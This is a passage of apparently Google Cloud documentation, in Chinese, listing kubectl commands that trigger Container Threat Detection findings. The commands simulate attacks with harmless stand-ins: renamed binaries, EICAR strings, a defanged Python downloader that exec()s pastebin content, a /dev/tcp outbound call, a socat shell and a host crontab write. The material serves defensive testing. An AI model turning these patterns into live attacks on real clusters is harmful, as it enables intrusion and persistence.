gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT建立 Nginx 二進位檔 (例如
nginx),並在存取/proc檔案系統時執行:x86 節點:
tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"ARM 節點:
tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
這項測試程序會建立「Execution: Ingress Nightmare Vulnerability Execution」發現項目。如果您已為 Container Threat Detection 設定 Logging,則可在 Security Command Center 和 Cloud Logging 中查看該項目。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目
執行:Kubernetes 攻擊工具執行作業
如要觸發「Execution: Kubernetes Attack Tool Execution」發現項目,請將二進位檔放入容器並執行。這個範例會部署最新的 Ubuntu 24.04 映像檔、將 /bin/ls 複製到其他位置、重新命名為可疑工具 (amicontained),然後執行。這項動作會模擬與潛在 Kubernetes 攻擊工具執行嘗試一致的行為,因此視為可疑。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT植入 Kubernetes 攻擊工具二進位檔 (例如
amicontained) 並執行:x86 節點:
tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/amicontained; /tmp/amicontained"ARM 節點:
tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
這項測試程序會建立「Execution: Kubernetes Attack Tool Execution」(執行:Kubernetes 攻擊工具執行) 發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
執行:本機偵查工具執行作業
如要觸發 Execution: Local Reconnaissance Tool Execution 發現項目,請將二進位檔放入容器並執行。這個範例會部署最新的 Ubuntu 24.04 映像檔、將 /bin/ls 複製到其他位置、重新命名為可疑工具 (linenum.sh),然後執行。這項動作之所以可疑,是因為執行重新命名的二進位檔,會模擬與本機偵察企圖一致的行為。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT導入本機偵察工具二進位檔 (例如
linenum.sh) 並執行:x86 節點:
tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"ARM 節點:
tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
這項測試程序會建立「Execution: Local Reconnaissance Tool Execution」(執行:本機偵查工具執行作業) 發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
執行:已執行惡意 Python
如要觸發「Execution: Malicious Python Executed」(執行:執行惡意 Python) 發現項目,請在容器中按照下列程序執行 Python。
這項程序會部署最新的 Python 映像檔、複製疑似惡意的 Python 程式碼,然後執行。偵測工具必須判定 Python 程式碼為惡意,才會觸發偵測。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT在新容器中執行下列指令碼。
這段 Python 程式碼源自蜜罐。不過,我們已修改這個指令碼,使其不會執行惡意二進位檔。執行指令碼不會在容器中造成惡意活動。 參照網址中的二進位檔不存在,嘗試前往該網址會導致 404 錯誤。這是可預期的情況。 嘗試使用內嵌指令碼下載、解碼及執行二進位檔,就會觸發偵測。
x86 節點:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/python:latest \ "$tag" -- python -c "import urllib import base64 import os url = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' f = os.popen(str(page)) url = 'https://pastebin.com/raw/Z' d = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' exec(page)"ARM 節點:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image python:3-buster \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- python -c "import urllib import base64 import os url = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' f = os.popen(str(page)) url = 'https://pastebin.com/raw/Z' d = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' exec(page)"
這項測試程序會建立「Execution: Malicious Python Executed」(執行:執行惡意 Python) 發現項目,您可以在 Security Command Center 中查看。如果您已設定 Container Threat Detection 的記錄功能,也可以在 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
為減少雜訊抑制,首次建立容器時,Container Threat Detection 會暫時篩除「Execution: Malicious Python Executed」發現項目。如要在設定容器時查看所有「Execution: Malicious Python Executed」發現項目,請在容器名稱或 Pod 名稱前面加上 ktd-test,如範例所示。
執行:已執行修改過的惡意二進位檔
如要觸發「Execution: Modified Malicious Binary Executed」發現項目,請修改容器中的惡意二進位檔並執行。這個範例會部署最新的 Ubuntu 24.04 映像檔,將 /etc/issue 修改為 EICAR 測試惡意檔案,然後執行該檔案。二進位檔的執行作業不符合預期,因為建立的 /etc/issue 在容器執行階段期間,會修改為 EICAR 測試惡意二進位檔,而根據威脅情報,EICAR 二進位檔是已知的惡意檔案。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT放置 EICAR 二進位檔並執行:
x86 節點:
tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; /etc/issue; sleep 10"ARM 節點:
tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; /etc/issue; sleep 10"
這項測試程序會建立「Execution: Modified Malicious Binary Executed」(執行:已執行修改過的惡意二進位檔) 發現項目,您可以在 Security Command Center 查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
執行:已載入修改過的惡意程式庫
如要觸發「Execution: Modified Malicious Library Loaded」發現項目,請修改容器中含有惡意程式庫的現有檔案,然後載入該檔案。這個範例會部署最新的 Ubuntu 24.04 映像檔,使用模擬的惡意程式庫更新 /etc/issue 檔案,然後使用 mmap 載入該檔案。現有檔案載入程式庫不符合預期,因為該程式庫是 EICAR 測試檔案,威脅情報將其歸類為惡意檔案。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT新增 EICAR 檔案並載入:
x86 節點:
tag="ktd-test-modified-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c " apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1; echo -n '$eicar' > /etc/issue; cat << 'EOF' > /tmp/loader.c #include <fcntl.h> #include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <stdlib.h> int main(int argc, char *argv[]) { int fd = open(argv[1], O_RDONLY); if (fd == -1) return 1; struct stat sb; if (fstat(fd, &sb) == -1) return 1; void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0); if (addr == MAP_FAILED) return 1; write(1, addr, sb.st_size); munmap(addr, sb.st_size); close(fd); return 0; } EOF gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /etc/issue sleep 10"ARM 節點:
tag="ktd-test-modified-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c " apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1; echo -n '$eicar' > /etc/issue; cat << 'EOF' > /tmp/loader.c #include <fcntl.h> #include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <stdlib.h> int main(int argc, char *argv[]) { int fd = open(argv[1], O_RDONLY); if (fd == -1) return 1; struct stat sb; if (fstat(fd, &sb) == -1) return 1; void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0); if (addr == MAP_FAILED) return 1; write(1, addr, sb.st_size); munmap(addr, sb.st_size); close(fd); return 0; } EOF gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /etc/issue sleep 10"
這項測試程序會建立「Execution: Modified Malicious Library Loaded」(執行:已載入修改過的惡意程式庫) 發現項目,您可以在 Security Command Center 中查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 方案,才能在 Cloud Logging 查看發現項目。
執行:容器中的 Netcat 遠端程式碼執行作業
如要觸發 Execution: Netcat Remote Code Execution In Container 事件,容器內必須存在並執行具備網路通訊功能的二進位檔 (例如 netcat 本身,或另一個公用程式的重新命名副本)。這個範例會部署最新的 Ubuntu 24.04 映像檔做為基礎。它會複製 /bin/ls 二進位檔,並將副本重新命名為 nc (網路公用程式)。接著,系統會使用適合網路互動的引數執行這個重新命名的二進位檔。這項活動之所以標記為可疑,是因為其行為模式與容器化環境中實際嘗試執行遠端程式碼時常見的行為相似。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT導入網路通訊工具二進位檔 (例如
nc),並使用適當的引數執行:x86 節點:
tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/nc; /tmp/nc -e"ARM 節點:
tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/nc; /tmp/nc -e"
這項測試程序會建立 Execution: Netcat Remote Code Execution In
Container 發現項目,您可以在 Security Command Center 中查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
執行:可能透過 CUPS 執行任意指令 (CVE-2024-47076)
如要觸發 Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076) 發現項目,foomatic-rip 必須執行殼層程序。本範例使用最新的 Ubuntu 24.04 映像檔。這會將 /bin/bash 複製到 /tmp/foomatic-rip。這個重新命名並複製的二進位檔會以殼層指令碼的形式執行,以建立子殼層指令。這類行為會標示為可疑,因為這可能表示有人試圖在遭入侵的系統上執行任意工作負載。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT使用適當的引數執行指令:
x86 節點:
tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ 'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'ARM 節點:
tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ 'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'
這項測試程序會建立 Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076) 發現項目,如果您已為 Container Threat Detection 設定 Logging,則可在 Security Command Center 和 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
執行:偵測到可能的遠端指令執行作業
如要觸發 Execution: Possible Remote Command Execution Detected (預先發布版) 發現項目,必須在容器中觀察到執行通常與遠端指令執行相關聯的指令或二進位檔。本範例使用最新的 Ubuntu 24.04 映像檔。它會複製 /bin/ls 並重新命名為 touch (或 find 等其他工具)。接著,這個重新命名的二進位檔會以適合遠端指令執行的引數執行。這項行為會標示為可疑,因為這可能表示有人試圖建立未經授權的遠端存取權,以便存取容器或從容器存取其他資源。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT使用適當的引數執行二進位檔 (例如
touch):x86 節點:
tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"ARM 節點:
tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"
這項測試程序會建立 Execution: Possible Remote Command
Execution Detected 發現項目,如果您已為 Container Threat Detection 設定 Logging,則可在 Security Command Center 和 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
執行:在不允許 HTTP Proxy 的環境執行程式
如要觸發 Execution: Program Run with Disallowed HTTP Proxy Env 發現項目,請在容器中執行程式,並將 HTTP Proxy 環境變數設為不允許的值。本範例使用最新的 Ubuntu 24.04 映像檔。/bin/ls 公用程式會複製並重新命名為 /tmp/curl。接著,系統會執行這個重新命名的二進位檔,並為 HTTP Proxy 環境變數設定不允許的值 (例如 HTTP_PROXY、http_proxy)。程式執行和不允許的 HTTP Proxy 環境同時存在,會被標記為可疑,因為這表示有人試圖透過未經授權的 Proxy 進行通訊。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT執行具備網路功能的二進位檔 (例如
curl),並使用不允許的 HTTP Proxy 環境變數執行:x86 節點:
tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"ARM 節點:
tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
這項測試程序會建立 Execution: Program Run with Disallowed
HTTP Proxy Env 發現項目,您可以在 Security Command Center 中查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
執行:偵測到 Socat 反向殼層
如要觸發 Execution: Socat Reverse Shell Detected 發現項目,必須由 socat 公用程式建立程序反向殼層連線。本範例使用最新的 Ubuntu 24.04 映像檔。系統會安裝 socat 公用程式,並建立本機 TCP 監聽器,然後由 socat 公用程式繫結。socat 建立的反向殼層會標記為可疑,因為攻擊者可利用該殼層在系統上執行任意工作負載。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT建立容器並執行
socat公用程式:x86 節點:
tag="ktd-test-socat-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "apt-get update && apt-get install socat -y && (socat UNIX-LISTEN:/tmp/shell.sock STDOUT &) && sleep 2 && timeout 5s socat UNIX-CONNECT:/tmp/shell.sock EXEC:/bin/bash,pty,stderr,setsid,sigint,sane || true"ARM 節點:
tag="ktd-test-socat-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "apt-get update && apt-get install socat -y && (socat UNIX-LISTEN:/tmp/shell.sock STDOUT &) && sleep 2 && timeout 5s socat UNIX-CONNECT:/tmp/shell.sock EXEC:/bin/bash,pty,stderr,setsid,sigint,sane || true"
這項測試程序會建立 Execution: Socat Reverse Shell Detected 發現項目,您可以在 Security Command Center 中查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
執行:可疑的 Cron 修改活動 (預先發布版)
如要觸發「可疑的 Cron 修改活動」偵測,請從容器修改主機的 /etc/crontab 檔案。這個範例會部署最新的 Ubuntu 24.04 映像檔,並將主機的根檔案系統掛接至容器。然後更新 crontab 檔案。
這是檔案監控偵測工具,有特定的 GKE 版本需求。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT執行指令,修改主機的
/etc/crontab檔案。x86 節點:
tag="ktd-test-cron-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'ARM 節點:
tag="ktd-test-cron-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" }] }}'這項測試程序會觸發「可疑的 Cron 修改」發現項目,您可以在 Security Command Center 中查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。您必須在組織層級啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
執行:載入了可疑的 OpenSSL 共用物件
如要觸發 Execution: Suspicious OpenSSL Shared Object Loaded 發現項目,請執行 openssl engine 指令,並將引數設為副檔名為 .so 的檔案。本範例使用最新的 Ubuntu 24.04 映像檔。/bin/ls 公用程式會複製並重新命名為 /tmp/openssl。接著,系統會使用 engine 和假 .so 檔案引數執行這個重新命名的二進位檔。使用 .so 檔案執行 openssl engine 的行為會標記為可疑,因為這會模仿載入共用物件以執行惡意程式碼的行為。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT使用假共用物件程式庫引數執行
openssl engine:x86 節點:
tag="ktd-test-suspicious-openssl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so"ARM 節點:
tag="ktd-test-suspicious-openssl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so"
這項測試程序會建立 Execution: Suspicious OpenSSL Shared Object Loaded 發現項目,您可以在 Security Command Center 中查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
資料竊取:在容器中啟動遠端檔案複製工具
如要觸發 Exfiltration: Launch Remote File Copy Tools In Container 發現項目,請在容器中執行常見的遠端檔案複製工具。這個範例使用最新的 Ubuntu 24.04 映像檔。系統會複製 /bin/ls 公用程式並重新命名為 /tmp/rsync,然後執行該公用程式,從遠端可能惡意的來源擷取檔案。在容器中執行這類工具,並使用遠端檔案擷取引數,會標記為可疑,因為這可能表示有人試圖下載並執行惡意程式碼,或竊取資料。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT執行遠端檔案複製工具 (例如
rsync),並執行下列指令:x86 節點:
tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/rsync; /tmp/rsync"ARM 節點:
tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/rsync; /tmp/rsync"
這項測試程序會建立 Exfiltration: Launch Remote File Copy Tools
In Container 發現項目,您可以在 Security Command Center 中查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
影響:偵測惡意指令列
如要觸發 Impact: Detect Malicious Cmdlines (預先發布版) 發現項目,必須在容器中觀察到執行具有已知惡意模式或引數的指令列。本範例使用最新的 Ubuntu 24.04 映像檔。包括複製 /bin/ls 二進位檔,並將副本重新命名為 ipfs。接著,系統會執行重新命名的二進位檔。這類行為會標示為可疑,因為可能代表有人試圖執行惡意程式碼或規避安全控管機制。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT執行
ipfs等二進位檔:x86 節點:
tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/ipfs; /tmp/ipfs"ARM 節點:
tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
這項測試程序會建立 Impact: Detect Malicious Cmdlines 發現項目,如果您已為 Container Threat Detection 設定 Logging,則可在 Security Command Center 和 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
影響:從磁碟移除大量資料
如要觸發 Impact: Remove Bulk Data From Disk 發現項目,請在容器中放置可刪除或覆寫資料的二進位檔,並加以執行。本範例使用最新的 Ubuntu 24.04 映像檔。這項技術涉及複製 /bin/ls 二進位檔,並將該副本重新命名為 shred (或類似用於安全刪除檔案的公用程式)。接著,系統會執行重新命名的二進位檔。這項動作會標記為可疑,因為這項行為與在容器化環境中,嘗試從磁碟移除大量資料時常見的行為類似。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT導入檔案或資料刪除二進位檔 (例如
